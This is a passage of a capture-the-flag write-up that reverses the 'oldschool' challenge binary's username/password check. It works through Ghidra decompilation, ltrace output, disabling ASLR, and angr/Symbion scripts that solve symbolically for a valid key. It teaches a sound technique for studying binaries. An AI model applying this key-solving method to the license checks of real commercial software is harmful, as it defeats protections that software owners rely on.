<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">local_9c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">local_9c</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0xe</span><span class="p">;</span><span class="w"> </span><span class="n">local_9c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_9c</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUN_0002bcfc</span><span class="p">(</span><span class="n">auStack_2858</span><span class="p">);</span>
<span class="w"> </span><span class="n">uVar5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_0002bd20</span><span class="p">(</span><span class="n">local_2867</span><span class="p">);</span>
<span class="w"> </span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002bcfc</span><span class="p">(</span><span class="n">auStack_2858</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">uVar5</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002bcfc</span><span class="p">(</span><span class="n">auStack_2858</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">pcVar9</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002bd50</span><span class="p">(</span><span class="n">auStack_2858</span><span class="p">);</span>
<span class="w"> </span><span class="n">fprintf</span><span class="p">(</span><span class="n">_stderr</span><span class="p">,</span><span class="n">pcVar9</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cbreak</span><span class="p">();</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar7</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="cm">/* ... */</span>
<span class="w"> </span><span class="n">fprintf</span><span class="p">(</span><span class="n">_stderr</span><span class="p">,</span><span class="n">pcVar9</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">curs_set</span><span class="p">();</span>
<span class="cm">/* ... */</span>
</code></pre></div>
<p><img alt="A picture of the CFG of the main function" src="/images/google-ctf-2023/oldschool-cfg.png"></p>
<p>Looking at the decompiled code (and also the CFG of the function)
reveals function calls, whose value is checked in an if condition
followed by <em>some</em> code looping, which we assumed to be the code that
prints the error message. In order to get the program to run, we
realized that it needed the correct <code>TERM</code> variable to be set for
<code>libncurses</code>, as this was a common problem when getting these programs
to run:</p>
<div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">TERM</span><span class="o">=</span>xterm-256color
</code></pre></div>
<p>While we were working on manually noting down the function calls
between the chunks of error printing code, we were at the same time
running the code through <code>ltrace</code>, in order to
track the executed dynamic library calls. During manual analysis of
the decompiled code, we stumbled upon the following software
interrupt (namely <code>int 0x80</code>, a syscall in x86 Linux):</p>
<div class="highlight"><pre><span></span><code><span class="n">pcVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">code</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">swi</span><span class="p">(</span><span class="mh">0x80</span><span class="p">);</span>
<span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">pcVar2</span><span class="p">)();</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">iStack_2900</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x32c</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="n">iVar7</span><span class="p">;</span>
<span class="n">local_28</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_74</span><span class="p">;</span>
<span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">local_28</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_28</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">local_28</span><span class="w"> </span><span class="o"><=</span><span class="w"> </span><span class="n">local_74</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
</code></pre></div>
<p>We didn't check what this syscall did for now, but noted it in the
back of our minds, as it seemed extremely out of place for the binary
to manually perform a syscall. So we went on the play around with
<code>ltrace</code> in the hopes we could find something that would narrow down
the search window for looking for meaningful stuff within the main
function. And we did, as the <code>ltrace</code> contained the following:</p>
<div class="highlight"><pre><span></span><code>[<span class="mi">0</span><span class="nv">x56567f01</span>]<span class="w"> </span><span class="k">strlen</span><span class="ss">(</span><span class="s2">"thisistheusername "</span>...<span class="ss">)</span>
[<span class="mi">0</span><span class="nv">x56567f61</span>]<span class="w"> </span><span class="nv">newwin</span><span class="ss">(</span><span class="mi">7</span>,<span class="w"> </span><span class="mi">50</span>,<span class="w"> </span><span class="mi">34</span>,<span class="w"> </span><span class="mi">88</span><span class="ss">)</span><span class="w"> </span>
[<span class="mi">0</span><span class="nv">x56567f96</span>]<span class="w"> </span><span class="nv">newwin</span><span class="ss">(</span><span class="mi">7</span>,<span class="w"> </span><span class="mi">50</span>,<span class="w"> </span><span class="mi">35</span>,<span class="w"> </span><span class="mi">89</span><span class="ss">)</span><span class="w"> </span>
[<span class="mi">0</span><span class="nv">x56568181</span>]<span class="w"> </span><span class="nv">box</span><span class="ss">(</span><span class="mi">0</span><span class="nv">x565b85a8</span>,<span class="w"> </span><span class="mi">0</span>,<span class="w"> </span><span class="mi">0</span>,<span class="w"> </span><span class="mi">89</span><span class="ss">)</span><span class="w"> </span>
[<span class="mi">0</span><span class="nv">x5656835a</span>]<span class="w"> </span><span class="nv">wbkgd</span><span class="ss">(</span><span class="mi">0</span><span class="nv">x565b74e8</span>,<span class="w"> </span><span class="mi">1312</span>,<span class="w"> </span><span class="mi">0</span>,<span class="w"> </span><span class="mi">89</span><span class="ss">)</span><span class="w"> </span>
[<span class="mi">0</span><span class="nv">x5655714c</span>]<span class="w"> </span><span class="k">strlen</span><span class="ss">(</span><span class="s2">"thisisthepassword"</span><span class="ss">)</span><span class="w"> </span>
</code></pre></div>
<p>We can see that strlen is called two times here, once for the username
and once for the password, with <code>ltrace</code> thankfully giving us the
instruction pointer for instruction following the strlen (we disabled
ASLR using <code>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</code> so
that <code>ltrace</code> would always give us the same addresses). Checking
the strlen XRefs in Ghidra, we can click through and find the two
respective function calls with the username being checked in the main
function and the password being checked in another one.</p>
<div class="highlight"><pre><span></span><code><span class="o">*</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0x10</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_90</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0x14</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x22f01</span><span class="p">;</span>
<span class="n">local_58</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0x10</span><span class="p">));</span>
</code></pre></div>
<p>The strlen takes <code>puVar8 + -0x10</code> as argument, which is set earlier
to <code>local_90</code> which is where our username is located. Looking for
other occurrences of <code>local_90</code> leads us to this piece of code:</p>
<div class="highlight"><pre><span></span><code><span class="o">*</span><span class="p">(</span><span class="n">undefined4</span><span class="w"> </span><span class="o">**</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0xc</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">local_28e9</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0x10</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_90</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">puVar8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">-0x14</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x2353b</span><span class="p">;</span>
<span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_0001212a</span><span class="p">();</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar7</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
</code></pre></div>
<p>Ghidra does not really show this nicely, due to the arguments being
placed on the stack, but <code>FUN_0001212a</code> actually takes two parameters,
one of them being the username. We can also see that the function
return value is checked for 1, quickly looking at the <code>ltrace</code> output
shows us that the else branch is taken (the return value is not 1) if
our password is false. So we can assume that this function takes
username and password, returns 1 if the password is correct and 0
if the password is incorrect. Peeking into the function confirms this,
as we can see the password strlen that we previously identified within
our ltrace output:</p>
<div class="highlight"><pre><span></span><code><span class="n">uStack_270</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1213b</span><span class="p">;</span>
<span class="n">sVar2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">param_2</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">sVar2</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">29</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
</code></pre></div>
<p>This also already gives us a hint that the password should have a
length of 29 characters. The function only has 200 lines of decompiled
C code (which allows us to ignore the rest of the 7000 lines of
decompiled C code of the main function). Reading on shows us some more
relatively simple to reverse infos about the password:</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="p">((((</span><span class="n">local_20</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">(</span><span class="n">local_20</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0xb</span><span class="p">))</span><span class="w"> </span><span class="o">||</span>
<span class="w"> </span><span class="p">(</span><span class="n">local_20</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x11</span><span class="p">))</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">(</span><span class="n">local_20</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x17</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_2</span><span class="p">[</span><span class="n">local_20</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'-'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>From this code we can see that every 5th character of the password is
supposed to be a <code>-</code>. For every other character, the following is
executed:</p>
<div class="highlight"><pre><span></span><code><span class="n">local_29</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'\0'</span><span class="p">;</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x20</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUN_000120da</span><span class="p">(</span><span class="n">local_b3</span><span class="p">,</span><span class="o">&</span><span class="n">local_71</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x20</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002b8d6</span><span class="p">(</span><span class="n">auStack_92</span><span class="p">,</span><span class="n">j</span><span class="p">);</span>
<span class="w"> </span><span class="n">local_25d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_0002b8fa</span><span class="p">(</span><span class="n">local_b3</span><span class="p">,</span><span class="o">*</span><span class="n">puVar3</span><span class="p">,</span><span class="n">j</span><span class="p">);</span>
<span class="w"> </span><span class="n">puVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002b8d6</span><span class="p">(</span><span class="n">auStack_92</span><span class="p">,</span><span class="n">j</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_25d</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">puVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002b8d6</span><span class="p">(</span><span class="n">auStack_92</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">iVar5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_0002b92a</span><span class="p">(</span><span class="n">auStack_92</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar5</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">password</span><span class="p">[</span><span class="n">local_20</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">iVar6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span>
<span class="w"> </span><span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_24</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_118</span><span class="p">[</span><span class="n">iVar6</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">iVar7</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">i</span><span class="p">;</span>
<span class="w"> </span><span class="n">local_29</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'\x01'</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">local_29</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'\x01'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>The most interesting line here is <code>iVar5[i] == password[local_20]</code>,
which effectively ensures that the other characters of the password
are only valid if they are part of the lookup table <code>iVar5</code>. Checking
with GDB, we saw that this lookup table stays the same (despite being
recreated every iteration), corresponding to:</p>
<div class="highlight"><pre><span></span><code><span class="mf">23456789</span><span class="n">ABCDEFGHJKLMNPQRSTUVWXYZ</span>
</code></pre></div>
<p>This means that this string is as password that passes all checks for
the formatting:</p>
<div class="highlight"><pre><span></span><code><span class="mf">23456</span><span class="o">-</span><span class="mf">789</span><span class="n">AB</span><span class="o">-</span><span class="n">CDEFG</span><span class="o">-</span><span class="n">HJKLM</span><span class="o">-</span><span class="n">NPQRS</span>
</code></pre></div>
<p>Now at this point we looked at the rest of the code and figured that
we were too lazy to reverse it by hand and thought that <code>angr</code> should
be able to easily solve this automatically. This seemed reasonable as
the structure of the function lends itself well for solving, since
we have a username and password as parameter, and 0 or 1 as feedback
if the combination is valid or not. Also, all loops appear to be
bounded given the input limits and there is nothing crazy happening
that would cause us a headache when trying symbolic execution.</p>
<h3>First Steps with Angr</h3>
<p>Our first attempt with <code>angr</code> was to create a <code>call_state</code> at the
function of interest, with parameters provided by us, and then
exploring to the location in the function where 1 is returned. This
looked something like that:</p>
<div class="highlight"><pre><span></span><code><span class="n">check_addr</span> <span class="o">=</span> <span class="n">proj</span><span class="o">.</span><span class="n">loader</span><span class="o">.</span><span class="n">min_addr</span> <span class="o">+</span> <span class="mh">0x212a</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">PointerWrapper</span><span class="p">(</span><span class="n">claripy</span><span class="o">.</span><span class="n">BVS</span><span class="p">(</span><span class="s1">'password'</span><span class="p">,</span> <span class="mh">0x1e</span> <span class="o">*</span> <span class="mi">8</span><span class="p">),</span>
<span class="n">buffer</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">PointerWrapper</span><span class="p">(</span><span class="sa">b</span><span class="s1">'gdwAnDgwbRVnrJvEqzvs</span><span class="se">\x00</span><span class="s1">'</span><span class="p">,</span> <span class="n">buffer</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">proj</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">call_state</span><span class="p">(</span>
<span class="n">check_addr</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span>
<span class="n">prototype</span><span class="o">=</span><span class="s1">'int password_check(char *username, char *password)'</span><span class="p">)</span>
<span class="n">simgr</span> <span class="o">=</span> <span class="n">proj</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">simgr</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
<span class="n">val_addr</span> <span class="o">=</span> <span class="n">proj</span><span class="o">.</span><span class="n">loader</span><span class="o">.</span><span class="n">min_addr</span> <span class="o">+</span> <span class="mh">0x29a8</span>
<span class="n">simgr</span><span class="o">.</span><span class="n">explore</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="n">val_addr</span><span class="p">)</span>
</code></pre></div>
<p>Now, we haven't touched <code>angr</code> in forever, and we're not sure if that
is how you actually use the PointerWrapper. We tried to run this, and
it worked, but it didn't terminate within a reasonable amount of time.
Debugging this a little, we realized that we already had issues passing
the first password check loop iteration, even when constraining the
password to the correct characters. We realized, that we were likely
missing out on state that would be initialized before the function
is called, but letting the whole program run in <code>angr</code> would most
likely not yield satisfying results. Due to the ncurses interface of
the application, we were also not sure how well we can control the
program automatically/from the outside, so using <code>angr</code> inbuilt
concolic execution techniques might not have worked. </p>
<h3>Concolic Execution</h3>
<p>So our main way of thinking was: given a program in GDB, can we dump
its state and use that with <code>angr</code>? If you think "wow that sounds
cool", we have to disappoint you a bit, because we didn't end up doing
that exactly, but we found something that was sufficient. After
searching for GDB <code>angr</code> integrations and not being able to find
something recent that works, we thought of whether we could somehow
make use of <a href="https://github.com/avatartwo/avatar2">avatar2</a>, which we
knew from previous research. While this does not have direct <code>angr</code>
integration, <code>angr</code> does have a module which allows us to use
<code>avatar2</code> with the GDB backend, called <a href="https://angr.io/blog/angr_symbion/">Symbion</a>.
So using <code>Symbion</code> from <code>angr</code>, so that we can use <code>avatar2</code>, so that
we can finally achieve our goal of syncing GDB state with <code>angr</code>. </p>
<p>To start of, we start <code>oldschool</code> in a GDB server and then connect to
it using the <code>Symbion</code> <code>avatar2</code> target:</p>
<div class="highlight"><pre><span></span><code><span class="n">avatar_gdb</span> <span class="o">=</span> <span class="n">AvatarGDBConcreteTarget</span><span class="p">(</span>
<span class="n">avatar2</span><span class="o">.</span><span class="n">archs</span><span class="o">.</span><span class="n">x86</span><span class="o">.</span><span class="n">X86</span><span class="p">,</span>
<span class="s1">'127.0.0.1'</span><span class="p">,</span>
<span class="mi">12345</span><span class="p">,</span>
<span class="s1">'gdb'</span>
<span class="p">)</span>
</code></pre></div>
<p>Then, we set up <code>angr</code> as usual, creating an entry state and explore
to the address offset <code>0x2747</code>. We picked this offset, as it is located
within the function right before username state and password state is
mixed together, meaning this is the last possible location for us to
replace the password with symbolic variables if we want to solve for
it.</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span> <span class="o">=</span> <span class="n">angr</span><span class="o">.</span><span class="n">Project</span><span class="p">(</span>
<span class="s1">'./oldschool'</span><span class="p">,</span>
<span class="n">concrete_target</span><span class="o">=</span><span class="n">avatar_gdb</span><span class="p">,</span>
<span class="n">use_sim_procedures</span><span class="o">=</span><span class="kc">True</span>
<span class="p">)</span>
<span class="n">entry_state</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">entry_state</span><span class="p">()</span>
<span class="n">entry_state</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">angr</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">SYMBION_SYNC_CLE</span><span class="p">)</span>
<span class="n">entry_state</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">angr</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">SYMBION_KEEP_STUBS_ON_SYNC</span><span class="p">)</span>
<span class="n">target_addr</span> <span class="o">=</span> <span class="n">BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x2747</span>
<span class="n">simgr</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">simgr</span><span class="p">(</span><span class="n">entry_state</span><span class="p">)</span>
<span class="n">simgr</span><span class="o">.</span><span class="n">use_technique</span><span class="p">(</span><span class="n">Symbion</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="p">[</span><span class="n">target_addr</span><span class="p">]))</span>
<span class="n">exploration</span> <span class="o">=</span> <span class="n">simgr</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</code></pre></div>
<p>So far so good. If we just run <code>gdbserver 0.0.0.0:12345 ./oldschool</code>
in our container and start the angr script, the password prompt of the
oldschool binary will show up. Upon entering the password, our script
successfully explores the binary to the specified location and returns
us a state, great! Now we can go ahead and extend our script to
introduce symbolic variables for solving. To this end, we take the
value from the <code>ebp</code> register and subtract <code>0x114</code>, which corresponds
to the start address of the (substituted) password on the stack, which
we determined from Ghidra. We know the length of the password without
the separating <code>-</code> is 25, and that every character of the password has
been substituted with a 32-bit number, which corresponds to the index
of the respective password character in the array of allowed
characters. For each of these 25 characters, we create a 32 bit
symbolic variable. Because we know that the lookup dictionary of valid
characters is 32 characters long, we can also add a constraint to
highlight that the symbolic variable cannot be initialized with values
bigger than 32. Finally, we write the symbolic variables to the memory
and save them for later:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Previous state we reached through concrete execution (Symbion)</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">exploration</span><span class="o">.</span><span class="n">found</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="c1"># Defining symbolic vars</span>
<span class="n">symbolic_vars</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">password_base</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">regs</span><span class="o">.</span><span class="n">ebp</span> <span class="o">-</span> <span class="mh">0x114</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">):</span>
<span class="n">svar</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">solver</span><span class="o">.</span><span class="n">BVS</span><span class="p">(</span><span class="sa">f</span><span class="s1">'pw</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">'</span><span class="p">,</span> <span class="mi">8</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span>
<span class="n">state</span><span class="o">.</span><span class="n">add_constraints</span><span class="p">(</span><span class="n">claripy</span><span class="o">.</span><span class="n">ULT</span><span class="p">(</span><span class="n">svar</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">))</span>
<span class="n">state</span><span class="o">.</span><span class="n">mem</span><span class="p">[</span><span class="n">password_base</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span><span class="o">.</span><span class="n">uint32_t</span> <span class="o">=</span> <span class="n">svar</span>
<span class="n">symbolic_vars</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">svar</span><span class="p">)</span>
</code></pre></div>
<p>Now we want to explore to the location in the program, where 1 is
returned, indicating a correct password:</p>
<div class="highlight"><pre><span></span><code><span class="n">target_addr</span> <span class="o">=</span> <span class="n">BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x29a8</span>
<span class="n">simgr</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">simgr</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
<span class="n">simgr</span><span class="o">.</span><span class="n">explore</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="n">target_addr</span><span class="p">)</span>
</code></pre></div>
<p>We start the GDB server and run the angr script again, but after
entering our password, angr seems to crash due to memory areas being
presumably not mapped. Our guess as to why this was happening was that
maybe the base address for the symbolic execution was not the same as
for the concrete execution. After some research, we found that this
bug is an open issue referenced <a href="https://github.com/angr/angr/issues/3346">here</a>.
The issue can ultimately be circumvented by specifying the base address
of the concrete execution when creating the angr project:</p>
<div class="highlight"><pre><span></span><code><span class="n">BASE_ADDRESS</span> <span class="o">=</span> <span class="mh">0x56555000</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">angr</span><span class="o">.</span><span class="n">Project</span><span class="p">(</span>
<span class="s1">'./oldschool'</span><span class="p">,</span>
<span class="n">concrete_target</span><span class="o">=</span><span class="n">avatar_gdb</span><span class="p">,</span>
<span class="n">use_sim_procedures</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span>
<span class="n">load_options</span><span class="o">=</span><span class="p">{</span><span class="s1">'main_opts'</span><span class="p">:</span> <span class="p">{</span><span class="s1">'base_addr'</span><span class="p">:</span> <span class="n">BASE_ADDRESS</span><span class="p">}}</span>
<span class="p">)</span>
</code></pre></div>
<p>After setting the base address and repeating the GDB server/angr script
procedure, the symbolic execution takes a few seconds and we get a
valid state, yay! This means there is definitely at least one solution
for the symbolic variables that we specified and that we can now read
out this solution, by asking the solver to evaluate our symbolic
variables:</p>
